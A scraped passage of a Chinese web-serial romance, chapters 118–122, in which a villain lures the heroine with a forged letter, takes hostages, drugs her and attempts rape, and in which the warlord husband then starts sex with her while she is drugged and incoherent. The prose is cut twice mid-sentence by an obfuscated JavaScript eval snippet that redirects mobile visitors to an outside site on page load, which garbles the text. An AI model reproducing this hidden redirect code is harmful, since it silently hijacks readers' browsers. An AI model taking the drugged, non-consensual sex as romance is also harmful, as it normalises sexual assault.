最后,白术业狠狠推开妻子,指着她,又指着床上的儿子:“我不管了!你们自己造的孽自己受着!”
摔门而去。
病房里骤然间安静下来,只剩下白夫人的抽泣声和白泽宇粗重的喘息声。
过了好半晌,白泽宇忽然开口,声音像是从牙缝里挤出来,冰冷刺骨:
“妈。”
白夫人红肿着眼抬头。
“我不甘心。”
白泽宇眼里燃烧着骇人的恨意,“我死也要拉上江浸月和陈佑宁垫背!这口气不出,我死不瞑目!”
!白夫人浑身一颤:“泽宇,你别做傻事啊……”
“晏山青不会放过我的。”白泽宇缓缓转过头,看向母亲,嘴角扯出一个扭曲而阴狠的弧度,“横竖都是死,我有什么好怕的?妈,你帮不帮我?”
看着儿子眼中近乎癫狂的决绝,白夫人又惊又怕。
这个儿子,从小到大惹出的祸,每一次都是她想办法摆平……可这一次,对手是晏山青,是那个一句话就能让白家万劫不复的督军。
良久,她颤抖着开口:“那你、你要妈怎么帮你?”
……
这一天终于过去了。
南川城里的风向也悄然改变了。
前段时间风光无限的金隆银行,随着白术业失去督军宠信、白泽宇犯案被查,变得门可罗雀,白家人更是闭门不出,人心惶惶。
而另一边,因为晏山青当众将府外交际应酬之权交予江浸月,释放出倚重的信号,江家和汇源银行也随之水涨船高,门庭若市。
不过,与白家父子得意时便招摇过市,恨不得全天下都知道自家风光的做派不同,江家上下依旧是低调内敛的做派。
江浸月更是沉得住气,没有“逢邀必应、逢宴必赴”,除非是必须出席的场合,否则一律婉拒,行事之谨慎,让人挑不出半点错处。
如此过了几日,这天午后,江浸月在自己的院子里翻看一本游记,辛儿捧着一个素色的信封走过来:
“夫人,又有给您的帖子。”
江浸月看得正入神呢,对这种每天都能收到的邀约兴致缺缺,随意她示意放在一旁,目光都没有从书上移开。
辛儿放下信封,转去做事。
等江浸月看完书,回味了一下书里描绘的北国风情后,眼尾余光才瞥见桌子上的信封,信封上只写着“督军夫人亲启”几个端正小楷,没有署名。
她拆开,抽出里面的信纸,目光一扫,神情就是一顿。
竟是沈家送来的。
信上说,沈家老太太近来身体每况愈下,大夫说已经是油尽灯枯,时常昏睡,偶尔清醒时,口中总喃喃念着沈霁禾和她的名字,沈家人不忍老人临终还有遗憾,便想请她回去看看……
江浸月捏着那张薄薄的纸,久久未动。
午后的阳光透过桂花树的树梢洒下来,在她天蓝色的旗袍上投下晃动的光斑。
自从离开沈家,嫁给晏山青,她便刻意不去知道关于沈家的任何消息。
——除了那次在饭店偶遇沈鹤,对方出言不逊被晏山青打折腿之外,她几乎与沈家断了所有联系。
她这样做是为了避嫌,但没想到,老太太已经到了这个地步……
江浸月记想起自己刚从国外回来时,就被妈妈告知,三个月后要与沈霁禾完婚,她虽然最后妥协了,但心里还是有些膈应和抗拒。
备婚那段日子,沈老太太时常到江家来,询问关于婚礼的琐事,态度很是和蔼,而她则有些冷淡,对这位未来祖母也没什么笑脸。
老太太似乎看出来了,但没有责怪,只是有一回,老太太看到她身上穿了一件用苏绣工艺做的薄呢外套,便笑着说起了里面的针法,还道:
“这活儿,我年轻时候在纺织工厂里,三天便能做出一件来。”
江浸月不解:“您在纺织工厂?”
“对啊,我以前可是咱们南川一厂的女工。”
江浸月很是惊讶,难以想象眼前这位雍容华贵的老太太,从前的身份竟然如此……与沈家不匹配。
老太太倒是不避讳,自然而然地说起自己是如何与沈老太爷相识,语气轻松诙谐,仿佛是在讲别人的趣事。
就是那次闲聊,让她心里的别扭消散了不少。
再后来,老太太有意无意地跟她提起她和沈霁禾小时候的事,那些被她遗忘的、久远的青梅竹马的情分,一点点消融掉她的抵触。
在沈家那三年,她从老太太身上学到了不少为人处世的道理,她是她的奶奶,也是她的老师。
沈霁禾战死的消息传回沈家的那天,整个沈府天塌地陷,有人哭,有人闹,有人慌,唯有老太太,在最初的震愕与悲痛后,迅速冷静下来,安排着一切。
哪些人是必须立刻离开南川避祸的,哪些产业能变卖折现的,哪些关系要立刻切断……她让所有人都走,隐姓埋名,保住性命。
她也握着江浸月的手,说着皎皎,你也走,走得远远的,换个名字,好好活下去。沈家放你自由了。以后若遇到合心意的人,不要顾虑,沈家没人会怪你。
第118章 江浸月,我终于等到你了!
江浸月当时什么都没说,当天夜里,她去了晏山青的军营,第二天,她就告诉沈家人,自己要嫁给晏山青了。
沈家人大多是愤怒的,只有老太太,看着她的眼神,是心疼和怜悯……
想到这里,江浸月眼眶蓦地一热。
“夫人?”
明婶拿着一件薄外套走过来,本是想提醒她起风了,却看到她猝然掉下的眼泪,吓了一跳,“您这是怎么了?出什么事了?”
江浸月深深吸了一口气,将眼里的湿意逼回去,信件递给明婶。
明婶接过去一看,脸色顿时犹豫起来:“这……夫人,按理说,您是应该去看看。可督军和老夫人若是知道了,怕是会不高兴吧?”
“我知道。”江浸月低声,“但祖母已经是弥留之际了,我必须去见她。”
她对沈家老太太的称呼,依旧是祖母。
明婶知道她对老太太的情谊,便没有再劝阻——最后一面,如何能劝呢?
“那您去吧,若有人问起,我就说您回江家了。”
江浸月点头,没再多说,穿上外套就出了督军府。
她叫了辆黄包车,报了沈府的地址。
沈家祖上几代都是南川的父母官,是真正的簪缨世家,府邸位于城中心,高墙朱门,飞檐斗拱,即便如今门庭冷落,那份沉淀了数代的庄严气派依旧透墙而出。
只是,与记忆中车马往来、仆从如织的热闹相比,如今的沈府大门紧闭,门前的石狮子都显得有些孤寂。
江浸月叩响门环。
不多时,就有位老管家来开门,见到是她,下意识要喊“夫人”,但想起什么,又连忙低下头,默默侧身,让她进去。
江浸月喊了一声“曾叔”,老管家含糊地点头,眼神闪烁,神情似乎有些不安?
“祖母还好吗?”江浸月低声问。
“……老太太、老太太在后院,您、您自己去看就知道了……”老管家磕磕巴巴地说。
江浸月不明所以,但她不能久留,也就没有在他身上纠结,直接走进去。
宅子里更加冷清,从前精心打理的花园有些荒芜,回廊下也空荡荡的,不见什么人影。
江浸月心下有些异样,觉得安静得有些过分了,仆人可能是遣散了,但沈家人去哪了?
她一边想一边看一边去了老太太居住的后院。
院子里静悄悄的,连个伺候的丫鬟都没有。
这不对。
很不对。
江浸月心头的疑惑更重了,脚步渐渐慢下来,到了正屋门口,她盯着这扇门,暂时没有推开,脑子里转动着各种思绪,然而下一秒——
门突然一下,从里面拉开!
江浸月:“!!”
一个她无论如何也没想到会出现在这里的人,正站在门内,脸上带着扭曲而得意的狞笑,一字一顿地喊她:
“江、浸、月!”
是本该躺在西医院、被晏山青的人看管着的白泽宇!
白泽宇咧开嘴,眼睛里充斥着疯狂的恨意和快意,声音嘶哑难听,“你终于来了——我等你等得好苦啊!”
第119章 喝下去,我就放了他们
!江浸月心头猛地一坠,全身神经瞬间绷住!
电光火石间,她明白了:“那封信是你送的?”
该死……
她中计了。
江浸月无声地咬住后槽牙,恨自己关心则乱,居然没想到是陷阱……可她又如何能想到,本该被下狱、审判、永无翻身之地的白泽宇,会跑到这沈家来?
她出来得急,连枪都没有带……
“是啊。”
白泽宇咧开了嘴,笑容扭曲,“不这样,怎么能把你这位谨慎小心的督军夫人骗出来呢?瞧瞧,果然是重情重义,对前夫的祖母都这么念念不忘,啧啧啧,不知道晏山青知不知道,他娶回家的夫人,心里还这么惦记着沈家?”
江浸月面上依旧镇定自若,沉声道:“你想干什么?到了这个地步还敢出来胡作非为,是嫌自己死得不够快,嫌白家毁得不够彻底?”
“你还敢提!”
白泽宇陡然拔高声音,面目越发狰狞,“都是因为你!全都是因为你!要不是你多管闲事,我会落到这个地步?!我告诉你江浸月,我就算死,也绝不会让你好过!”
“你能做什么?你又敢做什么?”江浸月冷嘲地勾唇,“你不会真以为我是一个人来的吧?我去寿宴都带着枪,平时出门会没有防备?”
“不怕告诉你,半个小时内,我要是没有回去,我的丫鬟立刻就会去告诉督军我去了哪里。你觉得,是你跑得快,还是督军的军队来得快?”
她试图用晏山青的威势震慑他。
然而白泽宇非但不怕,反而笑得更加疯狂:“江浸月,你想走啊,可以,你现在就可以走,没人会拦你!”
“但是,你舍得走吗!”
他猛地将身后的房门完全推开——
江浸月瞳孔骤然一缩!
只见屋内,年过八十的沈家老太太被麻绳捆在太师椅上,嘴里堵着一团布,花白的头发凌乱,颧骨、嘴角、下巴都是淤青,脸色青白,显然是受过粗鲁的对待的。
她旁边的地上还跪着几个沈家的女眷和孩子,同样被捆着手脚堵着嘴,满脸惊恐,瑟瑟发抖,身后都是白泽宇的手下,孔武有力,凶神恶煞。
“唔!唔唔唔!”老太太看到江浸月,苍老的眼睛里顿时涌出泪水,拼命摇头,发出含糊的呜咽,示意她快走,快走。
旁边的手下直接给了她一巴掌:“闭嘴!”
!江浸月只觉得一团怒火直冲天灵盖,她猛地看向白泽宇,声音因为极度愤怒而微微发颤:“白泽宇!你这个畜生!祖母她年事已高,你怎么敢……”
“我怎么不敢?!”
白泽宇厉声打断她,脸上是破罐子破摔的癫狂,“我已经没有活路了,我还有什么不敢的?江浸月,你不是自诩聪明,不是喜欢逞英雄,喜欢救人吗!现在,就看你怎么选了!”
他一个眼色过去,手下立刻给枪上膛,先是对着天花板“砰!”地开了一枪,证明他不是玩虚的,紧接着就将还滚烫的枪口顶在老太太的太阳穴上!
沈家女眷和孩子被那枪声吓得惊慌地哭泣起来,但都只能发出“呜呜”“唔唔”的声音,老太太身体一僵,闭上了眼睛。
江浸月攥紧了手指,指甲抠得掌心生疼,她深吸一口气,强迫自己压下翻腾的情绪,冷声问:
“你到底想要什么?直接说!”
白泽宇呵呵地笑起来,等的就是她这句话,目光淫邪地在她脸上身上流连,抬手指向院子里那张石桌:“看到那杯酒了吗?喝了它,我就放了这老不死的,还有沈家这几口人。”
江浸月转头,才看到桌子上孤零零地放着一个小酒杯。
走过去,端起来,送到鼻尖轻嗅,又一股淡淡的药味。
她打起眼皮看向他,沉声问:“里面加了什么东西?”
“加了一点……能让你快活的好东西。”
白泽宇舔了舔嘴唇,眼神越发露骨,“你放心,不会要你的命的,只是我这么惦记你,你要是不成全我一次,我死不瞑目啊。”
下作!
江浸月胃里一阵恶心,面上则越发冰冷:“你到今天还执迷不悟。就算你今天得逞了,你有没有想过你父母兄弟?白家其他人?不怕督军灭你九族吗?!”
“哈哈哈!我他妈都快死了!我管他们的死活!我自己快乐就行了!”白泽宇已然丧心病狂,一把抓住老太太的衣领,“少废话!喝不喝?!不喝我现在就崩了她!”
“唔——!”老太太猛地睁开眼睛,对着江浸月用力摇头。
江浸月看着老太太绝望的眼神,又去看那几个惊恐的孩子,握紧了那杯酒,杯壁触感冰凉,她指尖却发烫,脑子里飞速转动着——该怎么办?
她该怎么办?
硬拼?对方有枪,有人,有人质,自己赤手空拳,毫无胜算。
拖延时间?白泽宇现在就是个疯子,根本不会给她太多时间!
假装喝下?只是这么嗅,她也分辨不出具体是什么药,多少剂量,喝了是会立刻失去清醒还是别的什么……
怎么办?
到底该怎么办?
江浸月第一次这么被动。
白泽宇盯着她端着酒杯的手,呼吸急促,眼睛里闪烁着病态的光芒:
“喝!快喝!不想救人了吗!信不信我现在就崩了一个给你看看!”
江浸月问一句:“我已经落在你的手里了,为什么还要我喝酒?就算不喝,我也逃不出你的手掌。”
这话居然让白泽宇整个人都兴奋地颤抖起来:“那当然是因为,我要看着你……看着你这个高高在上的江三小姐,督军夫人……平时那么高贵,那么不可冒犯……被沈霁禾和晏山青都捧在手里的女人,像条母狗一样,对着我扭屁股,求我疼爱你你的样子啊……”
污言秽语,不堪入耳。
江浸月生平第一次这么想弄死一个人:“你这种人,就算被千刀万剐,也是便宜你了。”
白泽宇大笑:“那又怎么样!从你和陈佑宁那个贱人毁了我开始,我就不会放过你们!”
江浸月说:“那你为什么只抓我?你应该把陈佑宁也抓过来才对。”
“现在不抓,之后等着你的就是督军的报复,你就没机会再复仇了。你要是不知道怎么把陈佑宁骗过来,我可以帮你想办法……我倒也不是跟陈佑宁有仇,只是觉得,两个人分担痛苦,总比我一个人承担要好。”
她提出了极具诱惑的建议,以为白泽宇会心动,可他这次竟然没有被她带着跑:
“江浸月,你以为我看不出你是在拖延时间,或者想找机会救命吗?”
白泽宇冷笑,直接夺过手下的枪对着地上一个沈家小辈的肩膀就直接扣动扳机!
“砰!”
“不要!!”
枪声和江浸月的喊声同时响起!
那个小辈倒在地上痛苦哀号,沈家人都哭着扑过去看,江浸月目眦欲裂!
白泽宇用枪指着下一个沈家人:“我的耐心是有限的,江、浸、月!”
“……”
江浸月呼吸急促,别无选择,她将酒杯举到唇边,浓郁的酒气和那丝诡异的药味更加清晰……
她眼睫低垂,掩去眸底急速闪过的决绝寒光。
……只能赌一把了。
闭上眼睛,将杯沿抵在唇边,下一秒,她一仰头,将那杯琥珀色的液体尽数灌入喉中!
【大家对不起嗷!!最近几天感冒了,历经打喷嚏流鼻涕鼻塞喉咙痛耳朵疼,至今没好,导致我毫无精神码字,所以更新少了,我尽快复活!!可恶的病毒离我远点!!我还要写皎皎和大do军圆房呢!!】
第120章 督军……救我……
辛辣与苦涩瞬间弥漫开来,江浸月呛了一下,随即就感觉到一股古怪的,令人不安的燥热感,开始借着弯弯绕绕的肠子蔓延至五脏六腑。
“!”
“好!好!哈哈哈哈!!”白泽宇爆发出大笑!
江浸月咬住舌尖,不让自己露出一点情绪,哑声说:“放人。酒我已经喝了,你放他们离开,他们对你毫无用处,留在这里反而妨碍你的事,不是吗?”
白泽宇现在满眼都是江浸月,能任他为所欲为的江浸月,哪还管得了什么沈家人,他连连挥手:“放人!放人放人!”
那几个手下为老太太和沈家人松绑,粗暴地将他们推出门外。
老太太脚步踉跄,回头望向江浸月,眼里是撕心裂肺的痛苦。
江浸月对她微微摇了摇头,用眼神示意她快走。
他们就这么被推出了院子,四下就只剩下江浸月和白泽宇,以及两个手下。
药效发作得比想象中更快。
江浸月感觉一种难以言喻的燥热从四肢百骸升起,心跳不受控制地加速,眼前景象开始晃动,力气也在一点点流失。她咬牙,指甲狠狠掐进掌心,用痛感维持着清醒。
白泽宇贪婪地盯着她泛红的脸颊和逐渐迷离的眼眸,搓着手,一步步逼近。
“江浸月……江浸月……”
他嘴里喃喃念着她的名字,眼神痴迷又癫狂,“你知道吗?我第一次在江家的宴会上见到你,你穿着月白色的旗袍,安安静静微笑,像一朵开在夜里的昙花……那时候我就想,要是能把这朵花摘下来,该多好。”
“可惜啊,你嫁给了沈霁禾。后来沈霁禾**,我以为我的机会终于来了,我去江家提亲,结果被你妈用扫帚打出来……哈哈,我不生气,美人嘛,总是有点脾气。”
他越靠越近,呼吸粗重,带着令人作呕的气息,“可你居然嫁给了晏山青!我恨啊!我每天晚上做梦都在想,把你压在身下是什么滋味……没想到,这个机会来得这么快,这么快……”
江浸月强忍着一阵阵上涌的眩晕,在白泽宇逼近时,她脚步踉跄地向后退去,后背撞上了院中一棵老槐树。
老槐树枝繁叶茂,江浸月瞥了一眼,借着身体的遮挡,右手迅速一动,指尖用力,咔嚓一声轻响,一根拇指粗细的树枝被她悄无声息地折断,顺势滑入宽大的袖中藏好。
白泽宇看着她背靠大树、脸颊绯红、气息紊乱的模样,更是**中烧。
江浸月抬起水雾朦胧的眼,声音带着一丝压抑的轻颤:“白少爷就这么着急?手下都不屏退……还是说,你有被人看着做事的癖好?果然啊,畜生就是畜生,喜欢被人看苟合。”
白泽宇被她话里的轻蔑刺了一下,更被她此刻的模样勾得心痒难耐,他确实不想被人打扰了好事,立刻扭头,对两个手下厉声喝道:
“还不快滚出去!到院子外面守着!没我的命令,谁也不准进来!”
手下对视一眼,有些迟疑:“少爷,这个女人……”他们怕出意外。
“滚!”
白泽宇正在兴头上,哪里容得下质疑,“一个吃了药的女人,难道还能逃出我的手掌心?滚出去!”
两个手下不敢再违逆,连忙低头离开。
院子里终于只剩下他们两人了。
白泽宇再无顾忌,咧着嘴准备享用自己日思夜想的美人儿,他猛地朝江浸月扑过去:“我知道你现在很难受,让我来帮你吧宝贝!”
就是现在!
江浸月眼中迷离的水光瞬间被冰冷的锐利取代!她侧身一闪,避开白泽宇的扑抱,同时一直藏在袖中的右手猛然抽出!
就是那截断口尖锐的槐树枝!
她用尽全身残存的力气,将树枝狠狠刺向白泽宇的脖颈!!
“扑哧!”
树枝不如利器锋利,但在她拼死一击之下,依旧深深扎进皮肉!
“啊——!!!”
白泽宇发出一声无比凄厉的惨叫!剧痛让他猛地后退,双手捂住脖子,温热的鲜血瞬间从他指缝间涌出!
江浸月一击得手,毫不恋战,趁着白泽宇剧痛失控,院外那两个手下也没反应过来之际,爬上那棵槐树——
那年南川下了一场罕见的大暴雨,雨水将院落淹没,泥土也被泡软了,巨大的老槐树站立不住,斜斜歪倒,树根还在泥土里,树冠却靠在了院墙上。
后来雨水褪去,老太太想要重新培植老槐树,请了园林专家来看,却说放任它这样“歪着”最好,强行扶正反而会伤了根脉,活不长久。
老太太哪里舍得百年槐树这样死去,便放任它这样下去。
而今天,这棵歪倒的树救了江浸月一命,她直接沿着树身爬到院墙上。
“拦住她!杀了她!!”白泽宇捂着脖子,嘶声嚎叫,鲜血染
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022717|194284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红了他的半张脸和前襟,状如恶鬼。
守在院外的两个手下冲进来,先是被现场的变故惊呆,白泽宇指着墙上的江浸月大叫:“抓住她!抓住她!!”
江浸月毫不犹豫,从墙头跳下!
摔在泥地上,江浸月全身都疼,但她顾不得什么了,强行爬起来就跑。
药效已经完全发作了。
江浸月眼前阵阵发黑,身体软得几乎要倒下,全靠一股顽强的意志力支撑着,她凭着记忆,朝着督军府的方向狂奔。
呼吸灼热,心跳如雷,身后的脚步声越来越近!
……不能倒下!
绝不能倒在这里!
江浸月将下唇咬出血,用疼痛支撑清醒。
好在,沈府和原军政大楼现督军府不远,她抄近路,在巷子里跌跌撞撞地往前跑。
高跟鞋掉了,赤脚踩在冰冷粗糙的石路上,刺骨的痛感,让她的神志清醒了一瞬。
快到了……
就快到了……
视线越来越模糊,身后的叫喊声却仿佛就在耳畔,就在她几乎支撑不住的时候,前方街口,赫然出现了督军府那对巍峨的石狮子和紧闭的大门!
江浸月扑了过去,拍打大门:“开门……开门!”
她用尽力气嘶喊,但其实声音微弱得几乎听不见。
好在,同一时间,督军府里也有人要出来。
大门“吱呀”一声打开,江浸月用尽最后一丝力气扑了进去,再也支撑不住,腿一软,向前倒去——
预料中的地面没有到来,她跌入了一个坚实而温暖的怀抱。
熟悉的、带着淡淡烟草味的冷冽气息,瞬间将她包裹住。
江浸月抬起沉重的眼皮,模糊的视线里,是晏山青那张棱角分明,此刻写满了难以置信的脸。
“督……军……”
她张了张嘴,声音细若游丝,紧绷的神经和强撑的意志在这一刻彻底崩塌,无尽的委屈、后怕,以及那汹涌的药效带来的难堪燥热,一同将她淹没。
她不知道自己此刻是什么模样,衣衫凌乱,发髻散落,赤着双脚,狼狈不堪……
她只知道,她安全了。
她抓住了他胸前的衣襟,将滚烫的脸颊埋进他带着凉意的军装布料里,颤抖着,发出一声近乎呜咽的:
“……救我。”
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】
第121章 不放开我,我能怎么办
晏山青接住浑身滚烫、抖得不成样子的江浸月,眉头拧得死紧,沉声问:“你什么时候出门的?怎么把自己弄成这样?”
江浸月意识涣散,听不清他在说什么,只觉得那股磨人的燥热快要将她烧化了,她无意识地在他怀里蹭着,发出小猫似的呜咽。
晏山青感觉出她的不对劲,但不知道她为什么会这样,抬头看向她跑来的方向,发现街角有两个鬼鬼祟祟的身影在朝他们这边探头探脑。
他眯了一下眼,那两个人就做贼心虚地吓了一跳,转身就想跑。
“抓过来。”他声音冷得掉冰碴子。
身后亲卫立刻如同猎豹般冲了出去,没几下就将那两人扭着胳膊押过来,按跪在晏山青面前。
“你们谁的人?追我夫人做什么?”晏山青居高临下地问。
那两人瑟瑟发抖,不敢吭声。
亲卫二话不说,手上用力,“咔嚓”两声脆响,直接卸了他们的胳膊!
“啊——!”惨叫声响起。
“是、是白二少爷……是白泽宇让我们抓她回去的……”其中一人疼得涕泗横流,慌忙交代。
晏山青眼底瞬间卷起风暴。
白泽宇!
他竟然敢!
他不再多问,打横抱起江浸月,对亲卫冷声下令:“去把白术业和白泽宇,都给我带过来!”
亲卫:“是!”
晏山青抱着江浸月,大步流星地往垆雪院而去。
江浸月在他怀里不安分地扭动,滚烫的呼吸喷在他颈侧,带着灼人的热度,柔软的身体紧紧贴着他,无意识地摩擦。
他下颌线绷得极紧,步伐又快又稳。
进到房间,他将她放在大床上,刚要转身去吩咐人请大夫,身体还没完全离开床沿,江浸月就像溺水的人抓住浮木,双臂勾住他的脖子,整个人挂到他身上。
晏山青猝不及防,重心不稳,随着她的力道一起摔倒床上。
“督军……”
江浸月含糊地喊着他,湿润柔软的唇胡乱地印在他的下巴、脸侧、喉结上,带着一种不管不顾的渴求。
晏山青身体一僵。
他捏住她的下巴,迫使她抬起头。
她脸上泛着不正常的潮红,眼眸水光潋滟,完全没有平日的清明冷静,有的只是一种……誘人的春情。
他眸色瞬间暗沉下来,声音低缓:“白泽宇给你下了那种药?”
好大的狗胆!
江浸月根本听不进他在说什么,只觉得抱着的人冰冰凉凉的,能缓解她的燥热。她本能地贴得更紧,双手无意识地去扯他军装外套的扣子,嘴里溢出難耐的低吟。
“……督军……”
“平时不是挺聪明的么?”晏山青任由她胡乱动作,语气里压着火气,“怎么会蠢到中了这种下三烂的招数?”
她要是没逃回来怎么办?
她要是被那两个人抓回去了怎么办?
晏山青一想到这些可能,就觉得火气噌噌地冒。
他想弄死白泽宇,也想“弄死”这个混账女人。
完全体会不到男人的杀心的江浸月,更加用力地抱紧他,在他怀里毫不掩饰渴求地蹭動,像只求偶期的母兽,毫无章法地在他身上点火。
隔着衣物,他都能感受到她身體的灼熱和柔軟。
晏山青呼吸加重,被她蹭得浑身肌肉都绷紧了,他按住她不安分的肩膀,将她稍稍推开,幽深的眼睛紧紧锁住她迷蒙的脸。
“喊我‘督军’?”他声音又沉又哑,“我是哪个‘督军’?嗯?”
江浸月汲取不到他的气息,眉头蹙起,却依旧神志不清,双腿缠上他的劲腰,小手还在执着地解他的皮带。
晏山青额角青筋跳了跳,再次捏住她的下巴,逼她看着自己:“江浸月,看清楚,我是你哪个督军?沈霁禾,还是晏山青?”
“督军,好热……救救我……”
江浸月根本听不见他在说什么,只是哭腔浓重地哀求,眼泪混着汗水滑落,沾湿了鬓角,看起来可怜又……誘人。
“……”
晏山青又不是柳下惠,被她这样又蹭又喊了半天,怎么可能没有感觉,她喉结滚动,低骂了一句什么,然后猛地低头,狠狠吻住她那张喋喋不休,只会喊“督军”的唇。
这个吻凶狠而霸道,存心要她疼、要她清醒、要她为这么不小心中药付出代价、要她承担认不清人的后果。他撬开她的牙关,长驱直入,掠夺她所有的呼吸和呜咽。
“唔……”
江浸月被他吻得喘不过气,却像久旱逢甘霖,更加
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022718|194284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主动地迎上去,生涩地回应。
晏山青一手扣着她的后脑,加深这个吻,另一只手粗暴地扯开她淩亂不堪的旗袍扣子,布料在大力撕裂下发出轻微的声响,危险又暧昧。
大片雪白的肌膚暴露在空气中,因为药效泛着淡淡的粉色,晏山青的眼眸深得像丛林中的野兽,吻从她的唇畔滑落,沿着纤细的脖颈一路向下,在她精致的锁骨和胸前留下一串吓人的红痕。
“啊……”
江浸月吃疼又顫抖,弓起身子,却是更紧地抱住他,指甲无意识地陷进他后背的衣料里。
晏山青的呼吸粗重,脫掉自己的军装外套和衬衫,露出精壮的上身,肌肉线条流畅而充满野性的力量感。
他非常强壮,非常凶悍,身形几乎等于两个江浸月。
他重新控制住她,滾燙的肌膚相貼,两人都禁不住发出一声喟叹。
“江浸月,这是你自找的。”他咬着她的耳垂,哑声宣告。
意亂情迷中,他沉腰抵入——
“啊——痛!”
江浸月猝然叫起,眼泪瞬间涌出,刚才还紧紧缠着他的四肢猛地绷直,开始剧烈挣扎,“不要……出去!好痛……太大……”
撕裂般的劇痛压过了汹涌的药性,让她恢复了一丝清明,哭着往外推他紧绷的胸膛。
晏山青浑身肌肉偾张,额上渗出细密的汗珠,进不得,退不得,被她哭得心头烦躁,又莫名心软。
他停下动作,咬牙忍耐着,声音沙哑得不成样子:“……是你太窄了。”
他看着她泪眼婆娑、疼得小脸皱成一团的样子,深吸一口气,试图放缓语气,但紧绷的身体和灼热的慾望让他每个字都像是从喉咙里挤出来:
“……我没做过。怎么弄?你教我。”
可江浸月这会儿被疼痛和残存的药效双重折磨,哪里还知道怎么“教”他,只是缩着身子哭,一边哭一边又因那磨人的空虛而難耐地扭動。
晏山青被她哭得心烦意乱,又被她无意识的动作蹭得快要**。他抓住她乱动的手腕,按在头顶,俯身看着她,眼底是翻滚的情慾。
“江浸月,你想让我死,是吧?”他抵着她的额头,气息灼热,“不让我做下去,又不放开我。我能怎么办?”
第122章 听她喊督军就觉得燥
身下的人只是啜泣,身体却无意识地抬起,迎向他。
无声的邀请反复敲击着晏山青,他重重吻住她,带着一股豁出去的狠劲儿,想不顾忌她疼痛地强行继续——
然而,唇齿交缠间,尝到她咸涩的泪水和压抑不住的痛吟,晏山青动作还是顿住了。
他撑起身体,看着她紧闭双眼、长睫湿漉漉颤抖的模样,那股叫作“心疼”的情绪,在此刻蹿上来,硬生生压过了焚身慾火。
他认命地闭眼,几秒后,彻底抽身离开。
骤然失去填充和壓迫,江浸月迷茫地睁开泪眼,体内未解的燥熱和空虛感更猛烈地反扑上来,她下意识地又去缠他:
“督军……”
晏山青一把钳住她作怪的手,额角青筋突突直跳,呼吸粗重得像拉风箱,他盯着她看了几秒,然后,对门外不敢进来的人喊:
“准备冷水!”
接着弯腰,用被子将她裹紧,打横抱起,大步走向浴房。
浴桶里注满了冰凉的井水,晏山青将还在扭动呜咽的江浸月丢了进去。
“啊——!”
刺骨的寒冷瞬间包裹全身,江浸月被冻得惊呼一声,整个人一个激灵,混沌的脑子像被冰锥刺穿,那些翻滚的情慾和燥热被强行**下去。
她趴在浴桶边缘,浑身湿透,冷得牙齿打颤,却也终于看清了站在浴桶边,同样衣衫不整、胸膛起伏、眼神复杂幽深地凝视着她的男人。
……是晏山青。
江浸月张了张嘴,记忆的碎片纷至沓来——沈府、白泽宇、那杯酒、狂奔,还有刚才床上那些混乱炙熱的糾纏……
“督军……”
她声音抖得不成样子,不知是因为冷,还是因为后怕。
晏山青扯过一旁架子上的布巾丢给她,声音依旧沙哑:
“脑子回来了就出来。”
转身就走。
江浸月看着晏山青的背影,懊恼地咬了咬下唇,慢慢沉入水中,让冰水浸没头顶。
好一会儿后,她才从水里出来,用布巾擦干身体。
浴房里没有她的衣服,只有一件宽大的男士睡袍,还是晏山青昨晚换下的。
她穿上那件袍子,深吸几口气,推门出去。
外间,晏山青大马金刀地坐在太师椅上,指间夹着一支燃了一半的香烟,烟雾缭绕,模糊了他冷硬的侧脸轮廓。
江浸月裹紧身上过大的睡袍,走过去,在他身后几步远的地方停下,小心翼翼地唤:“督军……”
“……”晏山青现在听到这声“督军”就烦躁。
江浸月对上他那双幽暗的眼睛,想起他刚才在床上的样子,身体不由得颤了颤。
“进去,”晏山青终于开口,声音有些哑,“把衣服穿好了再出来。”
“……是。”
江浸月连忙转身走进内室。
她的衣物还凌乱地丢在地上,她看一眼就脸红耳赤,打开衣柜拿了干净的衣物穿好,又将散乱的长发梳理整齐,用一根玉簪子松松挽起。
等她再次走出来时,晏山青已经掐灭了烟,依旧坐在椅子上,目光沉沉地看着她,脸上没什么表情,却无端给人一种山雨欲来的压迫感。
“说清楚,怎么回事。”
江浸月定了定神,没有隐瞒——也瞒不过。
她今天去过沈家的事,他想知道,就一定能知道。
她从收到那封伪造的信开始讲起,说到如何被引去沈府,如何看到被挟持的老太太和沈家人,白泽宇如何逼迫,以及她最终为了救人,喝下那杯加了料的酒。
晏山青静静地听着,脸上依旧没有什么波澜,只是周身的气息沉了又沉。
直到她说完,晏山青才动了。
他拿起桌上放着的一把**,动作熟练地上膛。
江浸月心头一跳,看着他**起身,有那么一瞬间以为他是要将枪口对准自己。
然而,晏山青看都没看她,径直大步走向门口,一把拉开房门!
门外院子里,灯火通明,两名亲卫正押着两个人跪在青石地上。
正是面如死灰的白术业,以及脖子上胡乱缠着渗血纱布,脸色惨白又惊恐的白泽宇!
晏山青大步走到白泽宇面前,白泽宇似乎想要求饶,张了张嘴,却因为颈部的伤,只能发出嗬嗬的气音。
晏山青垂眸,眼神冷得像万年寒冰,没有
